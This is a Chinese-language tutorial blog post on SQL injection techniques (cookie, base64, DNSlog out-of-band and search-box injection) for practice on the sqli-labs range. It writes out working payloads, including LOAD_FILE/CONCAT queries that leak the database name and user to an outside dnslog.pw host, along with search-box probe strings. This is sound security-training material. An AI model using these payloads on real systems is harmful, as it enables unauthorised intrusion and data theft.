SQL注入（cookie、base64、dnslog外带、搜索型注入）
目录
COOKIE注入
BASE64注入
DNSLOG注入—注入判断
什么是泛解析？
UNC路径
网上邻居
LOAD_FILE函数
搜索型注入—注入判断
本文所使用的sql注入靶场为sqli-labs-master，靶场资源文件已上传，如有需要请前往主页或以下链接下载
信安必备靶场-sqli-labs-master-用于练习sql注入各种注入类型资源-CSDN文库
COOKIE注入
如何确定一个网站是否存在Cookie注入漏洞。
寻找形如“.php?id=xx”类的带参数的URL。去掉“id=xx”查看页面显示是否正常，如果不正常，说明参数在数据传递中是直接起作用的。如果正常，则说明可能使用cookie作为参数传递。使用burp抓包并构造payload使用常规注入语句进行注入即可。
判断get参数是否生效，尝试删除id参数，再去进行访问，看页面是否正常如果正常的，说明使用了cookie作为参数传递如果不正常，说明id参数是起了直接作用的
尝试在cookie处传参;id=1,注意添加分号，查看页面是否正常，如果跳出id为1的页面，则说明可使用cookie传参
BASE64注入
base64注入与普通注入并无太大区别，只是将普通的注入语句经过了base64加密以绕过WAF（web应用程序防火墙）
DNSLOG注入—注入判断
DNSlog注入的原理：攻击者注册了某个域名，将这个域名绑定到了某个IP的服务器上并设置了泛解析，当受害机器访问这个域名的任何一个子域名时，攻击者的服务器都会收到请求并记录DNS
什么是泛解析？
泛解析也叫“泛域名解析”，是指，利用通配符 * （星号）来做子域名以实现所有的子域名均指向同一IP地址。
例如您的域名是example.com：
做一个*.example.com的次级域名A记录指向111.111.111.111，那么生效后当访问者无论是输入“123.example.com”还是“abc.example.com”抑或者“123.abc.example.com”甚至是任意字符组成的子域名均会指向到111.111.111.111这个IP地址
——————————————————————————————————————————
原文链接：域名管理常见问题：什么是泛解析？（中科三方）_*:泛解析-CSDN博客
UNC路径
UNC路径UNC路径通用命名规则，也称通用命名规范、通用命名约定。什么是UNC路径？UNC路径就是类似\hacker这样的形式的网络路径。它符合\servername\sharename 格式，其中 servername 是服务器名，sharename 是共享资源的名称。目录或文件的 UNC 名称可以包括共享名称下的目录路径，格式为：\servername\sharename\directory\filename。例如hacker计算机的名为gok123的共享文件夹，用UNC表示就是\hacker\gok123。我们熟悉的命令行访问法访问网上邻居，实际上应该称作UNC路径访问法。不过UNC路径也可以这样写//servername/sharename [强烈建议这样写]
一般格式：
//计算机名/共享资源
//IP地址/共享资源
//域名/共享资源
网上邻居
网上邻居是微软系统自带的功能之一，主要是用来访问局域网的其它电脑的
LOAD_FILE函数
要使用此函数的条件（四个）系统、用户、文件大小、值
secure_file_priv=''必须为空文件，这个功能不是默认开启的，需要在mysql配置文件my.ini中加一句secure_file_priv=''
必须位于服务器主机上必须指定完整路径的文件
而且必须有FILE权限。要用到load_file()，通常需要root权限（LOAD_FILE()函数通常需要 FILE 权限，而 FILE 权限通常是分配给 MySQL 的SUPER特权用户，例如 root 用户）
该文件所有字节可读，但文件内容必须小于max_allowed_packet（限制server接受的数据包大小函数，默认1MB）。
目标服务器必须是windows系统
如果该文件不存在或无法读取，因为前面的条件之一不满足，函数返回NULL
查看secure_file_priv状态命令
show global variables like '%secure_file_priv%';
dnglog注入语句
爆当前数据库
select LOAD_FILE(CONCAT("\\\\",DATABASE(),".8gno8bo8.dnslog.pw/xxx"));
用户名：
id=1' and load_file(concat("//",user(),".8gno8bo8.dnslog.pw/aaa")) -- s
搜索型注入—注入判断
- 搜索
keywords'，如果出错的话，有90%的可能性存在注入； - 搜索
keywords%' and 1=1 and '%'='（这个语句的功能就相当于普通SQL注入的and 1=1）看返回情况； - 搜索
keywords%' and 1=2 and '%'='（这个语句的功能就相当于普通SQL注入的and 1=2）看返回情况； - 根据2和3的返回情况来判断是不是搜索型文本框注入了。
ryan'and 1=1 and '%'='//用于闭合后面的%
ryan'and 1=1 -- s //也可直接注释，但可能某些情况下不可行
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
如果你看过我先前发布的三篇sql注入文章，那么学到这里你已经接触了绝大部分的sql注入类型，请前往靶场进行实战练习，靶场地址见文章开头，之后我会不断地对sql注入进行更深入地讲解，请关注持续更新（本文内容来自课件，如有版权问题请与我联系）